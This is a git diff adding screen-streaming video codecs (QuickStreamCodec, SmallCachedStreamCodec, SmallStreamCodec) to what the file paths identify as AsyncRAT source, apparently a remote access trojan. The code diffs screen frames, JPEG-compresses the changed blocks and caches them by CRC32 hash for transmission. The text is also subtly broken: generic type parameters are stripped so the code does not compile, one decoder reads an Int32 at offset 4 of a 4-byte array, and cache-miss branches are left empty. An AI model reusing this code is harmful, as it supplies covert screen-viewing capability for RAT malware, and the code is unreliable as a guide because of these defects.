+ if (onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
+
+ Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
+ if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
+ {
+ byte[] temp = new byte[Stride];
+ fixed(byte* ptr = temp)
+ {
+ NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
+ }
+
+ CRC32 hasher = new CRC32();
+ int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
+
+ if (EncodeCache.Count >= MaxBuffers)
+ EncodeCache.RemoveAt(0);
+
+ if (EncodeCache.ContainsKey(hash))
+ {
+ outStream.WriteByte(1);
+ outStream.Write(new byte[4], 0, 4);
+ outStream.Write(BitConverter.GetBytes(hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
+ }
+ else
+ {
+ outStream.WriteByte(0);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(BitConverter.GetBytes(hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
+ outStream.Write(temp, 0, temp.Length);
+ EncodeCache.Add(hash, temp);
+ }
+ Blocks.Add(ScanBlock);
+ }
+ }
+
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
+ byte[] temp = base.jpgCompression.Compress(cloned);
+
+ cloned.Dispose();
+ }
+
+ bitmap.UnlockBits(bmpData);
+ CodeTempBitmap.UnlockBits(CodeBmpData);
+
+ if (onVideoStreamCoding != null)
+ onVideoStreamCoding(outStream, Blocks.ToArray());
+
+ if (CodeTempBitmap != null)
+ CodeTempBitmap.Dispose();
+ this.CodeTempBitmap = bitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ if (DecodeTempBitmap == null)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return DecodeTempBitmap;
+ }
+
+ //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
+ //int Stride = Math.Abs(BmpData.Stride);
+
+ while (inStream.Position < inStream.Length)
+ {
+ byte[] temp = new byte[11];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ bool inCache = temp[0] == 1;
+ int DataSize = BitConverter.ToInt32(temp, 1);
+ int Hash = BitConverter.ToInt32(temp, 5);
+ ushort Y = BitConverter.ToUInt16(temp, 9);
+
+ temp = new byte[DataSize];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ if (inCache)
+ {
+ if (DecodeCache.ContainsKey(Hash))
+ {
+ temp = DecodeCache[Hash];
+ }
+ else
+ {
+
+ }
+ }
+
+ //copy new data to cached bitmap
+ Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+
+ using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
+ {
+ g.DrawImage(tmpBmp, new Point(0, Y));
+ }
+
+ /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
+ int Offset = Y * Stride;
+ NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
+ //tmpBmp.UnlockBits(tmpData);
+ tmpBmp.Dispose();
+ }
+ //DecodeTempBitmap.UnlockBits(BmpData);
+
+ return DecodeTempBitmap;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs
new file mode 100644
index 0000000..ee8227c
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs
@@ -0,0 +1,179 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class QuickStreamCodec : IVideoCodec
+ {
+ private Bitmap CodeTempBitmap;
+ private Bitmap DecodeTempBitmap;
+
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ ///
+ /// Initialize a new object of QuickStreamCodec
+ ///
+ /// The image quality 0-100%
+ public QuickStreamCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
+ }
+
+ public override void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (CodeTempBitmap != null)
+ {
+ if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ }
+
+ if (CodeTempBitmap == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ CodeTempBitmap = bitmap;
+ return;
+ }
+
+ BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
+ int Stride = Math.Abs(bmpData.Stride);
+
+ List Blocks = new List();
+
+ for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
+ {
+ if(onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
+
+ Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
+ if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
+ {
+ int index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
+ {
+ ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
+ Blocks[index] = ScanBlock;
+ }
+ else
+ {
+ Blocks.Add(ScanBlock);
+ }
+ }
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
+ byte[] temp = base.jpgCompression.Compress(cloned);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
+ outStream.Write(temp, 0, temp.Length);
+ cloned.Dispose();
+ TotalDataLength += 6 + temp.Length;
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ bitmap.UnlockBits(bmpData);
+ CodeTempBitmap.UnlockBits(CodeBmpData);
+
+ if (onVideoStreamCoding != null)
+ onVideoStreamCoding(outStream, Blocks.ToArray());
+
+ if (CodeTempBitmap != null)
+ CodeTempBitmap.Dispose();
+ this.CodeTempBitmap = bitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ if (DecodeTempBitmap == null)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 4);
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return DecodeTempBitmap;
+ }
+
+
+ byte[] LenTemp = new byte[4];
+ inStream.Read(LenTemp, 0, 4);
+ int DataLength = BitConverter.ToInt32(LenTemp, 0);
+
+ //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
+ //int Stride = Math.Abs(BmpData.Stride);
+
+ while (DataLength > 0)
+ {
+ byte[] temp = new byte[6];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ int DataSize = BitConverter.ToInt32(temp, 0);
+ ushort Y = BitConverter.ToUInt16(temp, 4);
+ temp = new byte[DataSize];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ //copy new data to cached bitmap
+ Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+
+ using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
+ {
+ g.DrawImage(tmpBmp, new Point(0, Y));
+ }
+
+ /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
+ int Offset = Y * Stride;
+ NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
+ //tmpBmp.UnlockBits(tmpData);
+ tmpBmp.Dispose();
+ DataLength -= 6 + temp.Length;
+ }
+ //DecodeTempBitmap.UnlockBits(BmpData);
+
+ return DecodeTempBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs
new file mode 100644
index 0000000..85155be
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs
@@ -0,0 +1,374 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class SmallCachedStreamCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ SortedList codeCached;
+ SortedList decodeCached;
+ public override int BufferCount
+ {
+ get { return codeCached.Count; }
+ }
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
+ }
+
+ private Size CheckBlock { get; set; }
+ public SimpleBitmap LastFrame { get; set; }
+ private object ImageProcessLock = new object();
+ private Bitmap decodedBitmap;
+ private CRC32 hasher;
+ public int MaxBuffers { get; private set; }
+
+ ///
+ /// Initialize a new object of SmallCachedStreamCodec
+ ///
+ /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance
+ /// The image quality 0-100%
+ public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ CheckBlock = new Size(20, 1);
+ codeCached = new SortedList();
+ decodeCached = new SortedList();
+ hasher = new CRC32();
+ this.MaxBuffers = MaxBuffers;
+ }
+
+ private void SetLastFrame(ref Bitmap bmp)
+ {
+ SetLastFrame(new SimpleBitmap(bmp));
+ }
+ private void SetLastFrame(SimpleBitmap bmp)
+ {
+ lock (ImageProcessLock)
+ {
+ if (LastFrame != null && LastFrame.Locked)
+ LastFrame.Dispose(true);
+ LastFrame = bmp;
+ }
+ }
+
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (LastFrame == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ SetLastFrame(ref bitmap);
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (!LastFrame.Locked)
+ LastFrame.Lock();
+
+ sbBmp.Lock();
+
+ if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
+ {
+ sbBmp.Unlock();
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ }
+
+ List Blocks = new List();
+ int index = 0;
+
+ int y = 0;
+ int x = 0;
+
+ Size s = new Size(bitmap.Width, CheckBlock.Height);
+ Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
+
+ int lasty = bitmap.Height - lastSize.Height;
+ int lastx = bitmap.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+
+ s = new Size(bitmap.Width, s.Height);
+ while (y != bitmap.Height)
+ {
+ if (y == lasty)
+ s = new Size(bitmap.Width, lastSize.Height);
+
+ cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ List finalUpdates = new List();
+ const int CheckHeight = 50;
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ y = Blocks[i].Y;
+ lasty = (Blocks[i].Y + Blocks[i].Height);
+
+ while (y != lasty)
+ {
+ int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
+ x = 0;
+ while (x != bitmap.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+ cBlock = new Rectangle(x, y, s.Width, ScanHeight);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
+ {
+ /*byte[] tempData = new byte[0];
+ LastFrame.CopyBlock(cBlock, ref tempData);
+ finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
+
+ //hash it and see if exists in cache
+ hasher = new CRC32(); //re-initialize for seed
+ byte[] tempData = new byte[0];
+ LastFrame.CopyBlock(cBlock, ref tempData);
+ int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
+
+ if (codeCached.Count >= MaxBuffers)
+ codeCached.RemoveAt(0);
+
+ if (codeCached.ContainsKey(hash))
+ {
+ CachedSize += (ulong)tempData.Length;
+ finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
+ }
+ else
+ {
+ //nothing found in cache let's use the normal way
+ codeCached.Add(hash, tempData);
+ finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
+ }
+ }
+ x += s.Width;
+ }
+ y += ScanHeight;
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ buffer = new byte[0];
+ Rectangle rect = finalUpdates[i].Rect;
+
+ if (!finalUpdates[i].isCached)
+ {
+ fixed (byte* ptr = finalUpdates[i].Data)
+ {
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+ }
+ }
+ }
+
+ outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 6) + 1;
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ Blocks.Clear();
+ SetLastFrame(sbBmp);
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+ List cacheInfo = new List();
+ byte[] HeaderData = new byte[(4 * 6) + 1];
+
+ while (DataSize > 0)
+ {
+ inStream.Read(HeaderData, 0, HeaderData.Length);
+
+ bool isCached = HeaderData[0] == 1;
+ rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
+ BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
+ int Hash = BitConverter.ToInt32(HeaderData, 17);
+ int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
+
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ //process update data
+ if (isCached)
+ {
+ //data is cached
+ if (decodeCached.ContainsKey(Hash))
+ buffer = decodeCached[Hash];
+ else
+ {
+
+ }
+ cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
+ }
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ if (buffer.Length > 0)
+ {
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+
+ tmp.Dispose();
+ m.Close();
+ m.Dispose();
+ }
+
+ if (decodeCached.Count >= MaxBuffers)
+ decodeCached.RemoveAt(0);
+
+ if(!decodeCached.ContainsKey(Hash))
+ this.decodeCached.Add(Hash, buffer);
+ DataSize -= UpdateLen + HeaderData.Length;
+ }
+
+ int CachedSize = 0;
+ foreach(CacheInfo inf in cacheInfo)
+ {
+ CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
+
+
+ }
+ Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ private class CacheInfo
+ {
+ public bool isCached = false;
+ public byte[] Data;
+ public int Hash;
+ public Rectangle Rect;
+
+ public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
+ {
+ this.Hash = Hash;
+ this.isCached = isCached;
+ this.Data = Data;
+ this.Rect = Rect;
+ }
+
+ /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
+ {
+ if (ScanRects.Count > 0)
+ {
+ int scanX = ScanRects[0].X;
+ for (int i = 0; i < ScanRects.Count; i++)
+ {
+ int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
+ Rectangle rect = ScanRects[i];
+ rect.Width = scanWidth;
+ rect.X = scanX;
+ byte[] buffer = new byte[0];
+ sBmp.CopyBlock(rect, ref buffer);
+
+ int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
+
+ if (!HashList.ContainsKey(hash))
+ HashList.Add(hash, rect);
+
+ //fixed (byte* ptr = buffer)
+ //{
+ // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
+ // {
+ // buffer = codec.lzwCompression.Compress(TmpBmp);
+ //
+ // }
+ //}
+
+ scanX += scanWidth;
+ }
+ }
+ }*/
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs
new file mode 100644
index 0000000..0dea684
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs
@@ -0,0 +1,266 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class SmallStreamCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; set; }
+ public SimpleBitmap LastFrame { get; set; }
+ private object ImageProcessLock = new object();
+ private Bitmap decodedBitmap;
+
+ ///
+ /// Initialize a new object of SmallStreamCodec
+ ///
+ /// The image quality 0-100%
+ public SmallStreamCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ CheckBlock = new Size(20, 1);
+ }
+
+ private void SetLastFrame(ref Bitmap bmp)
+ {
+ SetLastFrame(new SimpleBitmap(bmp));
+ }
+ private void SetLastFrame(SimpleBitmap bmp)
+ {
+ lock (ImageProcessLock)
+ {
+ if (LastFrame != null && LastFrame.Locked)
+ LastFrame.Dispose(true);
+ LastFrame = bmp;
+ }
+ }
+
+ ///
+ /// Encode the image
+ ///
+ /// The image you want to encode.
+ /// The output stream
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (LastFrame == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ SetLastFrame(ref bitmap);
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (!LastFrame.Locked)
+ LastFrame.Lock();
+
+ sbBmp.Lock();
+
+ if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
+ {
+ sbBmp.Unlock();
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ }
+
+ List Blocks = new List();
+ int index = 0;
+
+ int y = 0;
+ int x = 0;
+
+ Size s = new Size(bitmap.Width, CheckBlock.Height);
+ Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
+
+ int lasty = bitmap.Height - lastSize.Height;
+ int lastx = bitmap.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+
+ s = new Size(bitmap.Width, s.Height);
+ while (y != bitmap.Height)
+ {
+ if (y == lasty)
+ s = new Size(bitmap.Width, lastSize.Height);
+
+ cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ List finalUpdates = new List();
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = 0;
+ while (x != bitmap.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ sbBmp.CopyBlock(rect, ref buffer);
+
+ fixed (byte* ptr = buffer)
+ {
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+ }
+ }
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 5);
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ Blocks.Clear();
+ SetLastFrame(sbBmp);
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ ///
+ /// Decode the video stream
+ ///
+ /// The input stream
+ /// The image that has been decoded
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
